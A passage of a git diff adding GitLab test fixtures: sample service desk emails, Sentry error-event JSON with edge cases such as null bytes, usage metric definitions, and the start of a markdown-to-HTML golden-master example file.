+In-Reply-To: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Subject: The message subject! @all
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+Service desk reply!
+
+/label ~label2
diff --git a/spec/fixtures/emails/service_desk_custom_address_reply.eml b/spec/fixtures/emails/service_desk_custom_address_reply.eml
new file mode 100644
index 00000000000..7ca17a32267
--- /dev/null
+++ b/spec/fixtures/emails/service_desk_custom_address_reply.eml
@@ -0,0 +1,24 @@
+Delivered-To: support+project_slug-project_key@example.com
+Return-Path: <alan@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <incoming+email-test-project_id-issue-@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <alan@adventuretime.ooo>
+To: support@example.com
+Message-ID: <CAH_Wr+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+In-Reply-To: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Subject: The message subject! @all
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+Service desk reply!
+
+/label ~label2
diff --git a/spec/fixtures/emails/service_desk_custom_address_x_envelope_to.eml b/spec/fixtures/emails/service_desk_custom_address_x_envelope_to.eml
new file mode 100644
index 00000000000..1d6f362d3ce
--- /dev/null
+++ b/spec/fixtures/emails/service_desk_custom_address_x_envelope_to.eml
@@ -0,0 +1,24 @@
+X-Envelope-To: support+project_slug-project_key@example.com
+Return-Path: <alan@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <incoming+email-test-project_id-issue-@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <alan@adventuretime.ooo>
+To: support@example.com
+Message-ID: <CAH_Wr+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+In-Reply-To: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Subject: The message subject! @all
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+Service desk reply!
+
+/label ~label2
diff --git a/spec/fixtures/emails/service_desk_forwarded.eml b/spec/fixtures/emails/service_desk_forwarded.eml
index ab509cf55af..45ac419e42f 100644
--- a/spec/fixtures/emails/service_desk_forwarded.eml
+++ b/spec/fixtures/emails/service_desk_forwarded.eml
@@ -8,7 +8,7 @@ Date: Thu, 13 Jun 2013 17:03:48 -0400
From: Jake the Dog <jake.g@adventuretime.ooo>
To: support@adventuretime.ooo
Delivered-To: support@adventuretime.ooo
-Message-ID: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Message-ID: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=fdskbsf@mail.gmail.com>
Subject: The message subject! @all
Mime-Version: 1.0
Content-Type: text/plain;
diff --git a/spec/fixtures/emails/service_desk_reply.eml b/spec/fixtures/emails/service_desk_reply.eml
new file mode 100644
index 00000000000..8e1d9aaf2d3
--- /dev/null
+++ b/spec/fixtures/emails/service_desk_reply.eml
@@ -0,0 +1,23 @@
+Return-Path: <alan@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <incoming+email-test-project_id-issue-@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <alan@adventuretime.ooo>
+To: incoming+email-test-project_id-issue-@appmail.adventuretime.ooo
+Message-ID: <CAH_Wr+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+In-Reply-To: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Subject: The message subject! @all
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+Service desk reply!
+
+/label ~label2
diff --git a/spec/fixtures/emails/valid_new_issue_with_only_quotes.eml b/spec/fixtures/emails/valid_new_issue_with_only_quotes.eml
new file mode 100644
index 00000000000..1629b9a54bc
--- /dev/null
+++ b/spec/fixtures/emails/valid_new_issue_with_only_quotes.eml
@@ -0,0 +1,23 @@
+Return-Path: <jake@adventuretime.ooo>
+Received: from iceking.adventuretime.ooo ([unix socket]) by iceking (Cyrus v2.2.13-Debian-2.2.13-19+squeeze3) with LMTPA; Thu, 13 Jun 2013 17:03:50 -0400
+Received: from mail-ie0-x234.google.com (mail-ie0-x234.google.com [IPv6:2607:f8b0:4001:c03::234]) by iceking.adventuretime.ooo (8.14.3/8.14.3/Debian-9.4) with ESMTP id r5DL3nFJ016967 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for <incoming+gitlabhq/gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 17:03:50 -0400
+Received: by mail-ie0-f180.google.com with SMTP id f4so21977375iea.25 for <incoming+gitlabhq-gitlabhq@appmail.adventuretime.ooo>; Thu, 13 Jun 2013 14:03:48 -0700
+Received: by 10.0.0.1 with HTTP; Thu, 13 Jun 2013 14:03:48 -0700
+Date: Thu, 13 Jun 2013 17:03:48 -0400
+From: Jake the Dog <jake@adventuretime.ooo>
+To: incoming+gitlabhq-gitlabhq-project_id-auth_token-issue@appmail.adventuretime.ooo
+Message-ID: <CADkmRc+rNGAGGbV2iE5p918UVy4UyJqVcXRO2=otppgzduJSg@mail.gmail.com>
+Subject: New Issue by email
+Mime-Version: 1.0
+Content-Type: text/plain;
+ charset=ISO-8859-1
+Content-Transfer-Encoding: 7bit
+X-Sieve: CMU Sieve 2.2
+X-Received: by 10.0.0.1 with SMTP id n7mr11234144ipb.85.1371157428600; Thu,
+ 13 Jun 2013 14:03:48 -0700 (PDT)
+X-Scanned-By: MIMEDefang 2.69 on IPv6:2001:470:1d:165::1
+
+> This email has been forwarded without new content.
+> There are only quotes.
+> Quote 1
+> Quote 2
diff --git a/spec/fixtures/error_tracking/parsed_event_nullbytes.json b/spec/fixtures/error_tracking/parsed_event_nullbytes.json
new file mode 100644
index 00000000000..570a5a329a4
--- /dev/null
+++ b/spec/fixtures/error_tracking/parsed_event_nullbytes.json
@@ -0,0 +1,175 @@
+{
+ "breadcrumbs" : {
+ "values" : [
+ {
+ "category" : "start_processing.action_controller",
+ "data" : {
+ "action" : "error2",
+ "controller" : "PostsController",
+ "format" : "html",
+ "method" : "GET",
+ "params" : {
+ "action" : "error2",
+ "controller" : "posts"
+ },
+ "path" : "/posts/error2",
+ "start_timestamp" : 1625749156.5553
+ },
+ "level" : null,
+ "message" : "",
+ "timestamp" : 1625749156,
+ "type" : null
+ },
+ {
+ "category" : "process_action.action_controller",
+ "data" : {
+ "action" : "error2",
+ "controller" : "PostsController",
+ "db_runtime" : 0,
+ "format" : "html",
+ "method" : "GET",
+ "params" : {
+ "action" : "error2",
+ "controller" : "posts"
+ },
+ "path" : "/posts/error2",
+ "start_timestamp" : 1625749156.55539,
+ "view_runtime" : null
+ },
+ "level" : null,
+ "message" : "",
+ "timestamp" : 1625749156,
+ "type" : null
+ }
+ ]
+ },
+ "contexts" : {
+ "os" : {
+ "build" : "20.5.0",
+ "kernel_version" : "Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64",
+ "name" : "Darwin",
+ "version" : "Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64"
+ },
+ "runtime" : {
+ "name" : "ruby",
+ "version" : "ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin19]"
+ },
+ "trace" : {
+ "description" : null,
+ "op" : "rails.request",
+ "parent_span_id" : null,
+ "span_id" : "4a3ed8701e7f4ea4",
+ "status" : null,
+ "trace_id" : "d82b93fbc39e4d13b85762afa2e3ff36"
+ }
+ },
+ "environment" : "development",
+ "event_id" : "7c9ae6e58f03442b9203bbdcf6ae904c",
+ "exception" : {
+ "values" : [
+ {
+ "module" : "ActionView",
+ "stacktrace" : {
+ "frames" : [
+ {
+ "abs_path" : "/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/thread_pool.rb",
+ "context_line" : " block.call(work, *extra)\n",
+ "filename" : "puma/thread_pool.rb",
+ "function" : "block in spawn_thread",
+ "in_app" : false,
+ "lineno" : 135,
+ "post_context" : [
+ " rescue Exception => e\u0000\n",
+ " STDERR.puts \"Error\u0000reached top of thread-pool: #{e.message} (#{e.class})\"\n",
+ " end\n"
+ ],
+ "pre_context" : [
+ " end\n",
+ "\n",
+ " begin\n"
+ ],
+ "project_root" : "/Users/developer/rails-project"
+ },
+ {
+ "abs_path" : "/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/puma-3.12.6/lib/puma/server.rb",
+ "context_line" : " process_client client, buffer\n",
+ "filename" : "puma/server.rb",
+ "function" : "block in run",
+ "in_app" : false,
+ "lineno" : 334,
+ "post_context" : [
+ " else\n",
+ " client.set_timeout @first_data_timeout\n",
+ " @reactor.add client\n"
+ ],
+ "pre_context" : [
+ " client.close\n",
+ " else\n",
+ " if process_now\n"
+ ],
+ "project_root" : "/Users/developer/rails-project"
+ },
+ {
+ "abs_path" : "/Users/developer/.asdf/installs/ruby/2.5.1/lib/ruby/gems/2.5.0/gems/actionview-5.2.6/lib/action_view/path_set.rb",
+ "context_line" : " find_all(*args).first || raise(MissingTemplate.new(self, *args))\n",
+ "filename" : "action_view/path_set.rb",
+ "function" : "find",
+ "in_app" : false,
+ "lineno" : 48,
+ "post_context" : [
+ " end\n",
+ "\n",
+ " def find_file(path, prefixes = [], *args)\n"
+ ],
+ "pre_context" : [
+ " end\n",
+ "\n",
+ " def find(*args)\n"
+ ],
+ "project_root" : "/Users/developer/rails-project"
+ }
+ ]
+ },
+ "thread_id" : 70254489510160,
+ "type" : "ActionView::MissingTemplate",
+ "value" : "Missing template posts/error2, application/error2 with {:locale=>[:en], :formats=>[:html], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}. Searched in:\n * \"/Users/developer/rails-project/app/views\"\n"
+ }
+ ]
+ },
+ "extra" : {},
+ "fingerprint" : [],
+ "level" : "error",
+ "message" : "",
+ "modules" : {
+ "concurrent-ruby" : "1.1.9",
+ "i18n" : "1.8.10",
+ "minitest" : "5.14.4",
+ "rake" : "13.0.3",
+ "thread_safe" : "0.3.6",
+ "tzinfo" : "1.2.9",
+ "uglifier" : "4.2.0",
+ "web-console" : "3.7.0"
+ },
+ "platform" : "ruby",
+ "release" : "db853d7",
+ "request" : {
+ "env" : {
+ "SERVER_NAME" : "localhost",
+ "SERVER_PORT" : "4444"
+ },
+ "headers" : {},
+ "method" : "GET",
+ "url" : "http://localhost/posts/error2"
+ },
+ "sdk" : {
+ "name" : "sentry.ruby.rails",
+ "version" : "4.5.1"
+ },
+ "server_name" : "MacBook.local",
+ "tags" : {
+ "request_id" : "4253dcd9-5e48-474a-89b4-0e945ab825af"
+ },
+ "timestamp" : "2021-07-08T12:59:16Z",
+ "transaction" : "PostsController#error2",
+ "user" : {}
+}
diff --git a/spec/fixtures/error_tracking/python_event_repl.json b/spec/fixtures/error_tracking/python_event_repl.json
new file mode 100644
index 00000000000..bb2891c744a
--- /dev/null
+++ b/spec/fixtures/error_tracking/python_event_repl.json
@@ -0,0 +1 @@
+{"breadcrumbs":{"values":[]},"contexts":{"runtime":{"build":"3.9.5 (default, May 12 2021, 15:36:59) \n[GCC 8.3.0]","name":"CPython","version":"3.9.5"}},"environment":"production","event_id":"","exception":{"values":[{"mechanism":null,"module":null,"stacktrace":{"frames":[{"abs_path":"/srv/autodevops/<stdin>","context_line":null,"filename":"<stdin>","function":"<module>","in_app":true,"lineno":2,"module":"__main__","post_context":[],"pre_context":[],"vars":{"__annotations__":{},"__builtins__":"<module 'builtins' (built-in)>","__doc__":"None","__loader__":"<class '_frozen_importlib.BuiltinImporter'>","__name__":"'__main__'","__package__":"None","__spec__":"None","capture_exception":"<function capture_exception at 0x7f5dbb3eb940>","e":"ZeroDivisionError('division by zero')","init":"<function _init at 0x7f5dbb3ea1f0>"}}]},"type":"ZeroDivisionError","value":"division by zero"}]},"extra":{"sys.argv":[""]},"level":"error","modules":{"appdirs":"1.4.4","apscheduler":"3.7.0","asgiref":"3.3.4","beautifulsoup4":"4.9.3","certifi":"2020.12.5","chardet":"4.0.0","django":"3.2.3","django-anymail":"1.3","django-environ":"0.4.5","django-livereload-server":"0.3.2","django-widget-tweaks":"1.4.8","fcache":"0.4.7","idna":"2.10","mmh3":"3.0.0","pip":"21.1.2","psycopg2-binary":"2.8.6","pytz":"2021.1","requests":"2.25.1","sentry-sdk":"1.5.0","setuptools":"57.0.0","six":"1.16.0","soupsieve":"2.2.1","sqlparse":"0.4.1","tornado":"6.1","tzlocal":"2.1","unleashclient":"4.2.0","urllib3":"1.26.4","uwsgi":"2.0.19.1","wheel":"0.36.2"},"platform":"python","sdk":{"integrations":["argv","atexit","dedupe","django","excepthook","logging","modules","stdlib","threading","tornado"],"name":"sentry.python","packages":[{"name":"pypi:sentry-sdk","version":"1.5.0"}],"version":"1.5.0"},"server_name":"","timestamp":"2021-11-17T14:46:20.898210Z"}
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
index 16ca71f24ae..a5bdd378f53 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric.yml
@@ -13,6 +13,7 @@ introduced_by_url:
time_frame: 7d
data_source:
data_category: operational
+instrumentation_class: Count
performance_indicator_type:
distribution:
- ce
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
index 060ab7baccf..4931285f6cf 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_ee.yml
@@ -13,6 +13,7 @@ introduced_by_url:
time_frame: 7d
data_source:
data_category: optional
+instrumentation_class: Count
performance_indicator_type:
distribution:
- ee
diff --git a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
index e373d6a9e45..39472af686d 100644
--- a/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
+++ b/spec/fixtures/lib/generators/gitlab/usage_metric_definition_generator/sample_metric_with_name_suggestions.yml
@@ -14,6 +14,7 @@ introduced_by_url:
time_frame: 7d
data_source:
data_category: optional
+instrumentation_class: Count
performance_indicator_type:
distribution:
- ce
diff --git a/spec/fixtures/markdown/markdown_golden_master_examples.yml b/spec/fixtures/markdown/markdown_golden_master_examples.yml
new file mode 100644
index 00000000000..b024064dc21
--- /dev/null
+++ b/spec/fixtures/markdown/markdown_golden_master_examples.yml
@@ -0,0 +1,840 @@
+# Related Specs:
+#
+# This data file drives the specs in the following specs:
+#
+# CE Backend: spec/requests/api/markdown_golden_master_spec.rb
+# CE Frontend: spec/frontend/content_editor/markdown_processing_spec.js
+#
+# For EE, these files are used:
+# EE Data: ee/spec/fixtures/markdown/markdown_golden_master_examples.yml
+# EE Backend: ee/spec/requests/api/markdown_golden_master_spec.rb
+# EE Frontend: ee/spec/frontend/content_editor/ee_markdown_processing_spec.js
+#
+#
+# Requirements:
+#
+# 1. Frontend: We should have test coverage that the Content Editor can properly serialize HTML
+# to Markdown for all GFM source elements which it currently supports.
+# 2. Frontend: We should have test coverage that the Content Editor can properly render the expected
+# HTML for all GFM source elements which it currently supports (not currently implemented in the
+# frontend - this will likely be a standalone module outside of the Content Editor).
+# 3. Backend: We should ensure that for all GFM elements, the backend always renders the expected
+# HTML, for **all** supported GFM source elements.
+#
+# If any of this this ever changes unexpectedly, tests will start failing, and force the same change
+# to be made on the backend and frontend.
+#
+#
+# Overview:
+#
+# These specs ensure that the bidirectional Markdown <-> HTML conversion logic is implemented
+# identically on the backend and frontend, for all supported GitLab-Flavored Markdown examples, by
+# running hardcoded examples through the logic and ensuring the results match.
+#
+# This is an example of the "Golden Master Testing" approach, which is also referred to as
+# "Approval Testing" or "Characterization Testing".
+#
+# The term "Golden Master" originally comes from the recording industry, and refers to process
+# of "mastering", or making a final mix from which all other copies will be produced.
+#
+# See:
+# - https://en.wikipedia.org/wiki/Characterization_test
+# - https://en.wikipedia.org/wiki/Gold_master_(disambiguation)
+#
+#
+# What we are doing is actually a type Golden Master testing with modifications:
+#
+# 1. The original markdown examples used to drive the tests are taken from this YAML, and can be
+# considered a form of "fixture" in this case.
+# 2. The HTML in the YAML is the "Golden Master", but we are going to use it to assert
+# against **TWO** different implementations of markdown rendering:
+# 1. The frontend, implemented as Jest specs.
+# 1. This will assert both HTML -> markdown serialization (what it currently does), as well as...
+# 2. Markdown -> HTML rendering (not currently implemented in the frontend - this will likely
+# be a standalone module outside of the Content Editor)
+# 1. The backend, implemented as requests specs
+# 1. This will assert markdown -> HTML conversion by the backend.
+#
+# Also see the MR for more explanation on the details of this approach:
+# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68671
+#
+#
+# Usage:
+#
+# * Please keep this file alphabetized.
+# * To run focused example(s), set the `FOCUSED_MARKDOWN_EXAMPLES` environment variable to a
+# comma-separated list of example names. This works for the frontend and backend specs.
+# * Required attributes for every example:
+# 1. `name`: Specifies the Name of the example, which will be printed when specs are run.
+# 2. `markdown`: Specifies the Markdown for the example, which will be compared with the
+# Markdown the code generates from the corresponding specified HTML.
+# 3. `html`: Specifies the HTML for the example, which will be compared with the
+# HTML the code generated from the corresponding specified Markdown.
+# * `api_context` (optional): This is used when a single markdown can be
+# rendered differently depending on the API endpoint or area of the app from which it is called or
+# used. The valid values for `api_context` are: `project`, `group`, `project_wiki`,
+# and (for EE only) `group_wiki`.The `name` attribute must also have a `_for_[API_CONTEXT]` suffix
+# which matches the `api_context`, in order to ensure that each example has a unique `name`
+# identifier. For example, `attachment_image_for_project`.
+# * `pending`: To skip an example that is broken or not yet fully implemented, add
+# a `pending: <reason with issue/MR URL>` attribute to the example. See
+# the `a_example_of_pending` entry for an example.
+# * `pending` with key: You can also mark an example pending on only the frontend or backend. See
+# the `a_example_of_pending_with_keys` entry for an example.
+# * `substitutions`: For examples which may have variable content in different environments,
+# such as portions of the URI, or database record IDs, you can specify
+# `substitutions`, which is an array of regex/replacement pairs. The HTML
+# value will be normalized with each of these pairs using Ruby `gsub`
+# before comparing.
+# The substitution values can (and are) also reused in multiple examples
+# via YAML anchors.
+#
+#
+# Notes:
+#
+# * The html values should exactly match what the backend markdown API endpoints return for the
+# given markdown example. The HTML is intentionally not indented, formatted, or split across lines.
+# This is a bit less readable, but it makes the spec logic simpler and less error prone for edge
+# cases.
+#
+#
+# Debugging Failures and Writing New Entries:
+#
+# * You need to compare what is different between the expected and actual values.
+# * In rspec, the diff printed out includes the full text of the HTML. This may be long, so you
+# may want to turn line wrapping on or off or copy the diff to separate file(s) for easier comparison.
+# * If the difference is just in an attribute value, use the `substitutions` support to normalize
+# the HTML before comparing. These specs are only validating the HTML structure, the individual
+# markdown elements' unit tests can provide coverage that the exact attribute values are correct.
+# * If you are making a new entry, you can create the entry according to the `Usage` section above,
+# but leave the `html` value blank. This will cause the spec to fail, and you can fill in the
+# `html` value based on the spec failure that is printed out.
+
+---
+#- name: an_example_of_pending
+# pending: 'This is an example of the pending attribute: http://example.com'
+# markdown: ;)
+# html: |-
+# <blink data-sourcepos="1:1-1:2"/></blink>
+#
+
+#- name: an_example_of_pending_with_keys
+# pending:
+# frontend: 'This is an example of the frontend-only pending attribute: http://example.com'
+# backend: 'This is an example of the backend-only pending attribute: http://example.com'
+# markdown: ;)
+# html: |-
+# <blink data-sourcepos="1:1-1:2"/></blink>
+
+- name: attachment_image_for_group
+ api_context: group
+ substitutions:
+ # Note: having the top level `substitutions` data structure be a hash of arrays
+ # allows us to compose multiple substitutions via YAML anchors (YAML anchors
+ # pointing to arrays can't be combined)
+ uri_substitution: &uri_substitution
+ # NOTE: We don't care about verifying specific attribute values here, that should be the
+ # responsibility of unit tests. These tests are about the structure of the HTML.
+ - regex: '(href|data-src)(=")(.*?)(test-file\.(png|zip)")'
+ replacement: '\1\2URI_PREFIX\4'
+ markdown: |-
+ ![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)
+ html: |-
+ <p data-sourcepos="1:1-1:69" dir="auto"><a class="no-attachment-icon gfm" href="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-link="true"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="test-file" class="lazy gfm" data-src="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png"></a></p>
+
+- name: attachment_image_for_project
+ api_context: project
+ substitutions:
+ uri_substitution: *uri_substitution
+ markdown: |-
+ ![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)
+ html: |-
+ <p data-sourcepos="1:1-1:69" dir="auto"><a class="no-attachment-icon gfm" href="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-link="true"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="test-file" class="lazy gfm" data-src="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png"></a></p>
+
+- name: attachment_image_for_project_wiki
+ api_context: project_wiki
+ substitutions:
+ uri_substitution: *uri_substitution
+ markdown: |-
+ ![test-file](test-file.png)
+ html: |-
+ <p data-sourcepos="1:1-1:27" dir="auto"><a class="no-attachment-icon" href="/group1/project1/-/wikis/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="test-file.png"><img alt="test-file" class="lazy" data-src="/group1/project1/-/wikis/test-file.png" data-canonical-src="test-file.png"></a></p>
+
+- name: attachment_link_for_group
+ api_context: group
+ substitutions:
+ uri_substitution: *uri_substitution
+ markdown: |-
+ [test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)
+ html: |-
+ <p data-sourcepos="1:1-1:68" dir="auto"><a href="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-link="true" class="gfm">test-file</a></p>
+
+- name: attachment_link_for_project
+ api_context: project
+ substitutions:
+ uri_substitution: *uri_substitution
+ markdown: |-
+ [test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)
+ html: |-
+ <p data-sourcepos="1:1-1:68" dir="auto"><a href="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-link="true" class="gfm">test-file</a></p>
+
+- name: attachment_link_for_project_wiki
+ api_context: project_wiki
+ substitutions:
+ uri_substitution: *uri_substitution
+ # TODO: The current frontend example doesn't include the path, need to look into why it does after refactoring to the new golden master approach
+ pending:
+ frontend: 'The current frontend example doesnt include the path, need to look into why it does after refactoring to the new golden master approach'
+ markdown: |-
+ [test-file](test-file.zip)
+ html: |-
+ <p data-sourcepos="1:1-1:26" dir="auto"><a href="/group1/project1/-/wikis/test-file.zip" data-canonical-src="test-file.zip">test-file</a></p>
+
+- name: audio
+ markdown: |-
+ ![Sample Audio](https://gitlab.com/gitlab.mp3)
+ html: |-
+ <p data-sourcepos="1:1-1:46" dir="auto"><span class="media-container audio-container"><audio src="https://gitlab.com/gitlab.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/gitlab.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></p>
+
+- name: audio_and_video_in_lists
+ markdown: |-
+ * ![Sample Audio](https://gitlab.com/1.mp3)
+ * ![Sample Video](https://gitlab.com/2.mp4)
+
+ 1. ![Sample Video](https://gitlab.com/1.mp4)
+ 2. ![Sample Audio](https://gitlab.com/2.mp3)
+
+ * [x] ![Sample Audio](https://gitlab.com/1.mp3)
+ * [x] ![Sample Audio](https://gitlab.com/2.mp3)
+ * [x] ![Sample Video](https://gitlab.com/3.mp4)
+ html: |-
+ <ul data-sourcepos="1:1-3:0" dir="auto">
+ <li data-sourcepos="1:1-1:43"><span class="media-container audio-container"><audio src="https://gitlab.com/1.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/1.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></li>
+ <li data-sourcepos="2:1-3:0"><span class="media-container video-container"><video src="https://gitlab.com/2.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/2.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></li>
+ </ul>
+ <ol data-sourcepos="4:1-6:0" dir="auto">
